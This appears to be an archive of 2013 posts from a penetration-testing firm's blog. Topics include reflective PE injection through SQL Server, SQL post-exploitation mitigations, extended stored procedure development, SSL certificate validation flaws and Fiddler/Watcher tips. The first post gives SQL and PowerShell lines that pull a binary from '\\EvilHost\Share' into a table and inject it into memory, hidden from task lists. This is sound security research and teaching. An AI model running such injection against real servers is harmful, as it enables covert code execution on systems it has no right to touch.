SQL Server – Now with Reflective DLL/EXE Injection!

May 14th, 2013 by

Powershell is a powerful task-automation framework for the Windows operating system. The scripting facilities available in Powershell have allowed system administrators and operators the ability to script up and all but replace many of the utilities once requiring compiled code and complex scripting solutions.

The Powershell environment is so useful, that Microsoft began implementing it in the SQL Server Agent as of SQL Server 2008. Once installed, SQL is able to create and schedule jobs using the Powershell v1.0 framework, as the Powershell framework matured it was possible to make use of the newer version 2.0 framework inside of the SQL Server Agent for a variety of complex operations that could only be achieved previously using extended stored procedures and then assemblies.

pix1

pix2

This has proven to be extremely useful for pen-testers familiar with the facilities afforded to them in the SQL environment. Enter – Invoke-ReflectivePEInjection

Invoke-ReflectivePEInjection.ps1 is a Powershell script created by Joe Bialek that demonstrates Reflective DLL and executable injection using Powershell. In addition to being able to inject a PE file from either a local or remote source (through the use of a URL get), the script doesn’t rely on any additional dependencies. Images are injected into the Powershell process and do not appear in the task lists for any users.

Given the facilities afforded to us in SQL Server, there really wasn’t any good reason folks using the command line should have all the fun with this. After some minor tweaking, a few new command line options, and some minor testing, it is now possible to make use of Joe’s script from within the SQL environment. Keeping with his great idea of allowing injection from resources not currently on disk, I’ve opted to permit this script to read the executable (DLLs and EXEs) from the database itself.

Invoke-ReflectivePEInjection.ps1 now accepts the following command line arguments: -PESql <Database Name> -Query <SQL Query to get the data> [-InstanceName <Named Instance>]

The “InstanceName” parameter is optional, if it is not specified the default instance will be used. Under the hood this new version of the script makes use of the Powershell cmdlet “Invoke-Sqlcmd” to connect back to the SQL server to command execution. This cmdlet is available in the SQL Powershell facilities and does not require additional dependencies to the script. This will allow us the ability to upload a binary into a temporary database table, then instantiate Powershell from within SQL for binary execution. If you’re willing to hard-code some values (Agent Jobs can’t accept parameters), you can even create the entire task as a SQL Agent Job without the use of the interactive Powershell console.

Check out: Invoke-ReflectivePEInjection-WithSQL.ps1

Example:

[In SQL]

CREATE TABLE dbo.DataTable
(
BinaryData varbinary(MAX) NOT NULL
)  ON [PRIMARY]
TEXTIMAGE_ON [PRIMARY]
INSERT INTO DataTable (BinaryData) SELECT * FROM OPENROWSET(BULK N'\\EvilHost\Share\binary.exe', SINGLE_BLOB) rs

[In SQL Powershell]

Invoke-ReflectivePEInjection –PESql master –Query “SELECT BinaryData FROM DataTable” –ExeArgs “10.10.10.10”

Happy hunting!

-whitey

SQL Post-exploitation: Protections and Mitigations

March 6th, 2013 by

Several questions have come up since giving my presentation in October at ToorCon; a lot of people want to know what they can do to protect themselves from the attacks I’ve outlined and what sort of monitoring solutions are in place to detect these scenarios. The short answer, which won’t give anyone the warm and fuzzy: Not a lot.

Taking a step back from the obvious bad things that these techniques can permit attackers to do in the SQL environment, we have to realize that this is a post-exploitation scenario. To accomplish any of the things I presented, the SQL server is already compromised, the attacker already has elevated access in the database, and the war (at least on that host) is lost.

Several things can be done to prevent the compromise, all of which come with proper SQL server administration:

  • Strict user policies, preventing the creation of extended stored procedures by anyone but an administrator.
  • Log monitoring to watch for the creation of extended stored procedures.
  • Relying on authenticode to permit only signed and trusted binaries from execution in the SQL environment.
  • Code review of applications and services accessing the SQL instances to determine vulnerabilities that can permit access to the server.
  • IDS technologies to monitor SQL communications – with signatures created for the creation of extended stored procedures, anomalies in traffic, and excessive or untrusted connections to and from unknown hosts.
  • Tripwire style file system monitoring.

Because of the nature of database servers, it’s highly unlikely that someone will create a technology to monitor the memory of the database, the overhead in processing would impact the performance of the host; not to mention that everything I’ve demonstrated is facilitated by the SQL architecture. To protect SQL servers from these dangers, the first step is to not get compromised (not always up to you), this is accomplished through solid administrative best practices and due diligence in the environment. If your SQL server comes under fire from these sorts of techniques you already have bigger issues than someone extending the functionality of your database.

-rob

Follow-up: Setting Up the SQL Development Environment

March 4th, 2013 by

Since my talk at ToorCon in October, a few questions have come in asking how to compile the xsproc sources I released earlier. Just to make things easier on everyone (mostly me), I’ve decided to post a walk-thru of how to set up a development environment for MS-SQL. This is not only useful for compiling extended stored procedures, but for any MS-SQL development you may do.

To compile the code and all of the available samples you will need to create a new project in Visual Studio, then specify a “Win32 Project” as your template type. Finally in the application settings, set the application type options to “DLL” and the check the “Empty Project” project option under the addition options section. Once the project is created you can import the available source files or create your own files for compilation.

rob_setting_up_mssql

To permit debugging of the xsproc some tweaks need to be made to the development environment. First you’ll want to have the DLL copied over to a more suitable directory. I accomplished this by editing the projects “Post-Build Events” command line option, located in Project/Properties/Configuration Properties/Build Events. I supplied the following command to be executed every time a new build was performed:

copy /y "C:\Users\user\Documents\Visual Studio 2010\Projects\xp_swaphash\Debug\xp_swaphash.dll" "C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Binn"

This copies the compile DLL into the MS-SQL ‘Binn’ directory, where most other extended stored procedure DLL files reside.

Next an instance of SQL needs to be set up so that when the “Start Debugging” option is selected, Visual Studio would has an environment to attach to. To do this, edit the “Command” option located in: Project/Properties/Configuration Properties/Debugging. Set the command line to (accounting for your specific path):

C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\sqlservr.exe

For the command line arguments specify “-c”. Last, set the “Working Directory” option to the directory that the SQL Server binary will reside in.

Be sure to disable SQL Server service, so that your instance of SQL can run without issues.
Once SQL is running, you’ll want to add in the xsproc. This can be done either through the SQL Server Management Console GUI interface, or by executing query commands using the sp_addextendedproc stored procedure:


USE master
GO
EXEC sp_addextendedproc xp_mynewxsproc, ‘C:\\myfile.dll’
EXEC xp_mynewxsproc

More recent versions of Visual Studio compile against the “v100” platform toolset, with the option of compiling for the “v90” platform toolset if you have a previously installed version of Visual Studio. For legacy systems or systems that might not have been updated with the latest versions of the VC redistributable package you will need to locate at least Visual Studio 2005. Administrators often frown upon you updating their systems without their knowledge, just so your code will work there.

Everyone sucks at SSL (Part 1)

March 1st, 2013 by

MSRC 271804 (Woops)

In light of MSRC 2718704, released by Microsoft in mid-June, brings to light a glaring, obvious and known problem with current SSL certificate validation and its overarching deployment and implementations across just about every enterprise in the world.

During just about every single software or service I’ve ever reviewed that uses SSL, 99% of the time I can automatically copy and paste 3 findings which I have generally been screaming into dead ears about for years.

  1. Lack of enterprise, software or team specific SSL certificate chain validation
  2. Lack of specific CNAME level SSL certificate validation
  3. Lack of issuer SSL certificate validation

Like I said, 99% of applications and developers trust API based certificate validation to be “good enough” and “appropriate” for their uses. The problem is that this NOT good enough in any sense of the term. To get that, though, we have to take a trip down memory lane to the historically known broken part of SSL. I’ll assume you already understand the general idea behind SSL certificates and how it works – the main unsolvable problem is the issue of certificate revocation. If a certificate is compromised, it’s a pretty damn complex process to revoke permissions on this certificate. On top of that, because of certificate chains of trust, no one seems to consider lateral certificate compromise or the amount of trust you’re ACTUALLY putting into the verification process.

Let’s take the MSRC case as an example first – then we can also walk through some other issues that make it obvious that current default SSL validation is usually woefully inadequate, when we think about most of the scenarios SSL is required.

Certificate Issuer Thumbprint
Microsoft Enforced Licensing Intermediate PCA Microsoft Root Authority 2a 83 e9 02 05 91 a5 5f c6 dd ad 3f b1 02 79 4c 52 b2 4e 70
Microsoft Enforced Licensing Intermediate PCA Microsoft Root Authority 3a 85 00 44 d8 a1 95 cd 40 1a 68 0c 01 2c b0 a3 b5 f8 dc 08
Microsoft Enforced Licensing Registration Authority CA (SHA1) Microsoft Root Certificate Authority fa 66 60 a9 4a b4 5f 6a 88 c0 d7 87 4d 89 a8 63 d7 4d ee 97

These were both intermediate certificates – but there is a glaring problem with the way that 99% I was talking about do their default validation and, conversely, the way default validation is done in API’s. The problem here is that these certificates still existed within the root Microsoft CA chain of trust. Let’s take a step back, again, and look at how the default “standard” SSL validation occurs:

  1. Walk the chain of trust backwards, and determine whether I trust the issuer.
  2. If I do, does the CNAME match the domain name or address I am requesting?

That’s it. Most people think there is crypto black magic happening under the hood here – whenever crypto becomes involved, people tend to turn dumb and completely ignore the voodoo that is the magically secure crypto.

So, we know then – we can create a certificate for anything, and use it, as long as we can compromise a certificate that is trusted by the client or server. This is where the case of the intermediate compromised Microsoft certificates and why it’s a total pwnage comes into play.

Why? Because I don’t need to compromise the update.microsoft.com certificate itself to push updates – I just need to compromise a certificate that is trusted by Windows Update on a windows system. In the case of Windows Update, it did perform #3 mentioned at the beginning of this post – it validated that Microsoft was the root issuer of the certificate. In the case of these Intermediate certificates, this meant:

Microsoft Root CA -> Intermediate CA -> Our generated certificates

Therefore, since we owned that intermediate CA, we owned the world.

Default SSL Validation Behavior (You’re doing it wrong)

The above, checking the issuer, is not default behavior. Default behavior is ANY certificate present in the trusted store of the local Windows system (of which include a bunch of Certificate Authorities, including state-sponsored entities… guess no one noticed that). So, let us break this down to what we actually need to do to basically compromise 99% of SSL communications on a Windows network, with any Windows-based application:

  1. Compromise any certificate in the trusted certificate store

This, like I said, includes many small time CA shops (due to the requirements of allowing many CAs), of which some are state-sponsored, while others are of known or unknown quality. Basically it comes down to the fact that:

YOUR ENTERPRISE TRUSTS ANY ENTITY WITHIN THE TRUSTED STORE BY DEFAULT

This means that as long as I can compromise anything in there, I now totally own all SSL communications on any windows system as well as many (most?) enterprise applications. In simple terms: I own the world.

Microsoft also maintains a list of their Root CA Members. You can read details about their program and what the hell it is on their website as well. Lots of governments in there – nifty.

Anyone involved in the security industry will, par for the course, tell you we know this and this is why certificate revocation exists (although it basically sucks). However, all this security rests on two major, glaringly stupid assumptions:

  1. We will know a certificate is compromised
  2. We trust a lot of people by default

This means, inherently, you trust a lot of people – and if any of these people are compromised, I own the entire world of encrypted SSL communications.

Validation in Enterprise Software (your still doing it wrong)

Now – we have covered the area of why default SSL validation inherently sucks, and even have a wonderful example from Microsoft on why it sucks. To re-iterate – if I can compromise any trusted CA, I can now take over the world. This means I have compromised the following:

  1. All web-based HTTPS/SSL communications relying on domain name/CNAME validation
  2. All enterprise software that uses default SSL validation routines
  3. All PCI (credit card) related transactions and communications (SSL is required right?)
  4. All SSL-based internal communications between servers in a network
  5. All client certificate validation that uses default validators

You can see, then, that this basically means I own the internet. Now – same organizations internally will implement their own root authority for whatever reasons, creating a security model that looks something like this:

sucks_ssl_1

Hilariously enough, this was the case with Windows Update and the intermediate certificates – as long as it was signed by the Root Authority, no one cared WHAT issuer it had – as long as the top of the chain was Microsoft. This means that even if you check “Is my company the root?” – you trust everything further down the chain. In this specific circumstance of enterprise networks, this means that if any team, application, business unit or otherwise has their certificate compromised than the entire enterprise has now been compromised. Essentially, the broken model being used globally on the interwebs is internally repeated.

Stay tuned for Part 2, which will included guidance on how to properly check a certificate!

CanSecWest 2013 and more MS-SQL Shenanigans

February 28th, 2013 by

Once again I’ll be taking the SQL-show on the road, this time up to Vancouver, BC for CanSecWest 2013. My talk will focus on the methods and mayhem that can be had in a MS-SQL post-exploitation environment: dumping hashes without querying the database, escalating to admin (or worse) from the confines of the service, and turning SQL into an attack platform so you don’t have to bother with that pesky operating system environment. This talk builds on much of my previous research, but there will be plenty of new materials, revamped tools, and maybe one or two utilities that the average pen-tester lacks in their engagements.

If you’re at the con and would care to check it out, I’ll be occupying the stage at Friday, March 8th, at 1:30PM. Hope to see you there!

-rob

DRIVE 2013: Transferring Sensitive Data (Session Notes)

February 23rd, 2013 by

Yesterday I gave a talk at DRIVE 2013 on best practices for securing the exchange of sensitive data entitled, “Data Exchange: Transferring Sensitive Data Between Systems.” [pdf]

What follows are my notes and references from the presentation. Anything I’ve missed here will be available in the video, which I’m told will be online via the DRIVE site in March.

Read full article »

Casaba Makes a Cameo at DRIVE 2013

February 21st, 2013 by

DRIVE is a unique event healed at the University of Washington that brings together the a growing community of non-profit IT professionals seeking to leverage big data in order to maximize the efficiency of their organizations. This two day event encompasses a robust range of data topics: analytics, classification systems, predictive modeling, fundraising, statistics, cloud services, reporting strategies, security issues, and the impact and leverage of social media. In the past professionals from higher education, medical centers, nature conservatories, and other non-profit agencies have attended.

On Thursday, February 21, 2013, Casaba has been given the honor of introducing the CISO of UW, Kirk Bailey, who will be delivering the opening keynote. Robert Mooney will also be giving a talk in the first afternoon block on the importance of transferring data securely across disparate systems.

Watcher overview translated into Serbo-Croatian

January 28th, 2013 by

The introduction page for Watcher has been translated into the Serbo-Croatian language by Jovana Milutinovich, a computer science student at the University of Belgrade in Serbia. Her translation can be found at the following URL:

http://science.webhostinggeeks.com/watcher-novi-veb-sigurnosni

Thank you Jovana!

New Watcher rule for custom-defined pattern matching

January 21st, 2013 by

The passive Web-application vulnerability scanner Watcher has been updated with a new check that allows you to define a custom pattern in the form of a regular expression. Each incoming HTML, javascript, or JSON response will be checked for a match.

To see this, download Watcher, go to the Checks tab, and select “Miscellaneous – Check HTTP response body for custom-defined regex patterns.”

Watcher-Regex

From here, you can add as many regex patterns as you’d like. Each one will be check, and if matches are found they will be reported in bulk per response. For example, if you wanted to extract all things that look like email addresses, you could add this rule:

\b[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,4}\b

On the results tab of Watcher, you’ll find your matches:

Watcher-regex result

That’s about it, pretty simple, but bear a few warnings:

  1. Watcher will not validate your regex, that’s up to you to make sure it works with C# syntax!
  2. Bad regex patterns could cause Fiddler to stop functioning, for example if they consume too many CPU or memory resources.

Happy bug hunting!

Wipe cookies with a custom Fiddler rule (and menu item)

January 11th, 2013 by

Sometimes there’s a need to simply wipe all the cookies from an HTTP request.  Maybe you want to re-issue a request without cookies, or maybe you want to browse a list of URLs to test that authentication is being required on all of them.  The following FiddlerScript will create a new menu item, under Rules, in Fiddler.  It can be enabled or disabled easily from there.

There’s two parts to creating a new rule with a menu item, but as you can see there’s not a lot to it.  First off, add the following at the beginning of the “Handlers” class.  These two lines will name your rule “Wipe Cookies”, disable it by default, and set it up to show up under the Rules menu item.

public static RulesOption("Wipe Cookies")
var m_WipeCookies: boolean = false;

Then, enter the following into the “OnBeforeRequest” function.  This will ensure that when you enable this rule, but simply clicking it from the Rules menu, the Cookie header will be removed from the HTTP request.

if (m_WipeCookies) {
  if (oSession.oRequest.headers.Exists("Cookie")) {
    oSession.oRequest.headers.Remove("Cookie");
  }
}

As you can see adding custom rules via FiddlerScript is rather simple.  Happy bug hunting!